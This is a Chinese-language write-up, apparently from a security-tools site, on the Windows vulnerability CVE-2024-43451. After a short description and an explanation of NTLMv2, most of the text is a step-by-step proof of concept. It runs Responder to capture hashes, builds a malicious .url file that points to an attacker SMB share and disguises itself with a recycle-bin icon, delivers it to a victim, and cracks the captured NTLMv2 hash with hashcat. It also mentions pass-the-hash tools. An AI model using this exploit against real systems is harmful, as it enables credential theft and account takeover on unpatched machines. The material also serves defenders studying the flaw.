描述

• 名称：CVE-2024-43451
• CVSSv3 评分：6.5
• 受影响版本：2024年11月补丁之前的所有 Microsoft Windows 版本

CVE-2024-43451 是 Microsoft Windows 中的一个零日漏洞，允许攻击者通过极少的用户交互捕获 NTLMv2 密码哈希值，从而导致凭据被盗。一种常见的利用方法是借助通过 SMB 连接到远程服务器的 NTLM 认证来捕获哈希值。该漏洞已在 2024 年 11 月的更新中得到修补。建议用户应用相关安全更新以降低风险。

该攻击被发现正被积极利用，攻击者通过从受感染的乌克兰政府服务器发送的钓鱼邮件进行传播。邮件中包含一个恶意 URL 文件。当用户通过右键单击、删除或移动文件等方式与该文件交互时，漏洞就会被激活。这会触发与攻击者服务器的连接，从而下载更多恶意文件，例如 SparkRAT 恶意软件（一种开源远程访问木马，允许攻击者控制受害者的系统）。

NTLM 认证

NTLMv2 是目前最安全的版本，也是当今最相关的版本。

• 客户端连接到服务器并请求访问某个资源。
• 服务器生成一个 nonce（一个随机的 16 字节挑战）并将其发送给客户端。
• 客户端使用 HMAC-MD5 算法生成响应，该响应包含密码哈希值（使用 NT 哈希算法）、服务器 nonce、时间戳、客户端 nonce 等。
• 服务器使用 NT 哈希值重复相同的计算，生成自己的 NTLM 响应，双方各自生成响应后进行比对。
• 比对后，服务器决定接受还是拒绝连接。

图片

利用

POC 环境搭建

为了搭建此 POC 的工作环境，我们需要准备一台目标 Windows 机器（系统版本号在 2024 年 11 月之前发布）以及一台用于模拟捕获哈希值的远程服务器：

1. 下载并安装 Responder，通过 SMB 捕获哈希值：
   root@kitploit:~

   brew install python3
   

   root@kitploit:~

   git clone https://github.com/lgandx/Responder.git
   

   root@kitploit:~

   cd Responder
   

   root@kitploit:~

   sudo python3 Responder.py -I <你的网络接口> -v
   

2. 确保目标 Windows 虚拟机与你的远程“黑客”环境之间能够成功连接。
3. 通过进入资源管理器并输入 \\(远程服务器IP) 来测试 Responder 设置：

创建漏洞利用文件

由于该漏洞利用只需要与远程服务器建立 SMB 连接，因此我们可以使用一个简单文件来模拟：

1. 打开记事本
2. 输入以下内容： 你可以输入任何能诱使用户交互的图标，我使用了“满回收站”图标（32）
   root@kitploit:~

   [InternetShortcut]
   URL=\\(远程服务器IP)\share
   IconIndex=32
   IconFile=C:\Windows\System32\shell32.dll
   

3. 将其保存为 (名称).url

活跃攻击过程

一旦文件准备好并投递到目标系统，捕获哈希值只需最少的用户交互。 交互可能涉及以下任一操作：

• 下载文件并访问“下载”文件夹
• 右键单击文件
• 将文件移动到其他文件夹

https://github.com/user-attachments/assets/fd6389b5-4ee9-4d90-a76e-562394b24058

https://github.com/user-attachments/assets/b820ea73-b0fc-40f1-920e-28cf7869f1e2

破解

拿到未加密的哈希值后，我们可以尝试破解它以获取明文密码，或者使用 Mimikatz 或 Metasploit 等工具进行“哈希传递”攻击。

在我们的示例中，一条简单的 Hashcat 命令就揭示了密码： hashcat -m 5600 leak.txt rockyou.txt